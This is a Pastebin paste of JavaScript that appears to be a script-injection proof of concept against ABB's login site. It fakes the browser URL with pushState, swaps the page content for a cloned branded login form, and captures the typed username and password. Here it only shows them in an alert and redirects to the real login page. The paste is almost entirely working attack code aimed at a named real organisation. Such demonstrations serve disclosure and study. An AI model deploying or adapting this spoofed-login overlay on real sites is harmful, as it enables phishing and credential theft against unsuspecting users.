Advertisement
Guest User

Untitled

a guest
Jan 31st, 2019
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.86 KB | None | 0 0
  1. window.onBaka = function onBaka(){
  2. var username = document.getElementById('txtUsername').value;
  3. var password = document.getElementById('txtPassword').value;
  4. alert("Username: " + username + " Password: " + password + "\nI could have easily stolen your credentials!");
  5. window.location.href = 'https://stsint.abb.com/vissts/public/basicpages/loginbasic.aspx?ReturnUrl=%2fvissts%2fsts.aspx%3fwa%3dwsignin1.0%26wtrealm%3dhttp%253a%252f%252fstsint.abb.com%252fadfs%252fservices%252ftrust%26wctx%3db9ba0680-af68-4535-b819-22a1633a304c&wa=wsignin1.0&wtrealm=http%3a%2f%2fstsint.abb.com%2fadfs%2fservices%2ftrust&wctx=b9ba0680-af68-4535-b819-22a1633a304c'
  6. }
  7.  
  8. document.title='Log in';
  9. window.history.pushState('page2', 'Title', '/vissts/public/basicpages/loginbasic.aspx?ReturnUrl=%2fvissts%2fsts.aspx%3fwa%3dwsignin1.0%26wtrealm%3dhttp%253a%252f%252fstsint.abb.com%252fadfs%252fservices%252ftrust%26wctx%3db9ba0680-af68-4535-b819-22a1633a304c&wa=wsignin1.0&wtrealm=http%3a%2f%2fstsint.abb.com%2fadfs%2fservices%2ftrust&wctx=b9ba0680-af68-4535-b819-22a1633a304c');
  10. document.getElementsByClassName('mdc-card')[0].innerHTML = '<section class=\"mdc-card__primary\">\r\n <h1 class=\"mdc-card__title--large abb-cursor\"> \u2014 <\/h1>\r\n <h1 class=\"mdc-card__title mdc-card__title--large\"> <span id=\"Label1\" resourcekey=\"UI.Login.Title\">Log in<\/span> <\/h1>\r\n<\/section>\r\n<section class=\"section-user-details\">\r\n <div class=\"mdc-layout-grid\">\r\n <div class=\"mdc-layout-grid__inner\">\r\n <div class=\"mdc-layout-grid__cell mdc-layout-grid__cell--span-12-desktop mdc-layout-grid__cell--span-8-tablet\">\r\n <div class=\"mdc-textfield mdc-textfield--upgraded\"> <input name=\"txtUsername\" id=\"txtUsername\" class=\"mdc-textfield__input\" aria-controls=\"email-helptext\" required=\"required\" autocomplete=\"off\" type=\"email\" placeholder=\"E-mail address*\"> <\/div>\r\n <p class=\"mdc-textfield-helptext mdc-textfield-helptext--validation-msg\" id=\"pw-validation-msg\"> <span resourcekey=\"UI.Login.EmailAddressRequired\">You must enter an e-mail address.<\/span> <\/p>\r\n <\/div>\r\n <div class=\"mdc-layout-grid__cell mdc-layout-grid__cell--span-12-desktop mdc-layout-grid__cell--span-8-tablet\">\r\n <div class=\"mdc-textfield mdc-textfield--upgraded\"> <input name=\"txtPassword\" id=\"txtPassword\" class=\"mdc-textfield__input\" required=\"required\" aria-controls=\"pw-validation-msg\" autocomplete=\"off\" type=\"password\" placeholder=\"Password*\"> <\/div>\r\n <p class=\"mdc-textfield-helptext mdc-textfield-helptext--validation-msg\" id=\"pw-validation-msg\"> <span resourcekey=\"UI.Login.PasswordRequired\">You must enter a password.<\/span> <\/p>\r\n <a id=\"lnkResetPassword\" class=\"brand-link brand-link--red\" \"> <span id=\"lblResetPassword\" resourcekey=\"UI.Login.ForgotPassword\">Forgot your password?<\/span> <\/a> \r\n <\/div>\r\n <\/div>\r\n <\/div>\r\n<\/section>\r\n<section class=\"mdc-card__actions\"> <input name=\"btnSubmit\" value=\"Login\" id=\"btnSubmit\" class=\"brand-button brand-button--center\" resourcekey=\"UI.Login.Login\" onClick=\'window.onBaka()\'> <\/section>\r\n<section class=\"mdc-card__actions mdc-card__actions--center\" style=\"margin-left: auto; margin-right: auto\">\r\n <div class=\"brand-link\" style=\"padding-bottom: 16px; margin-top: -24px\"> <span resourcekey=\"UI.Login.NeedAnAccount\">Need an account?<\/span> <a href=\"https:\/\/www.usermanagement.abb.com\/account\/Register?returnUrl=\" id=\"lnkRegister\" class=\"brand-link--red\"> <span resourcekey=\"UI.Login.SignUp\">Sign up<\/span> <\/a> <\/div>\r\n<\/section>'
  11. var css = '::placeholder{font-family:ABBvoice !important}',
  12. head = document.head,
  13. style = document.createElement('style');
  14.  
  15. style.type = 'text/css';
  16. style.appendChild(document.createTextNode(css));
  17. head.appendChild(style);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement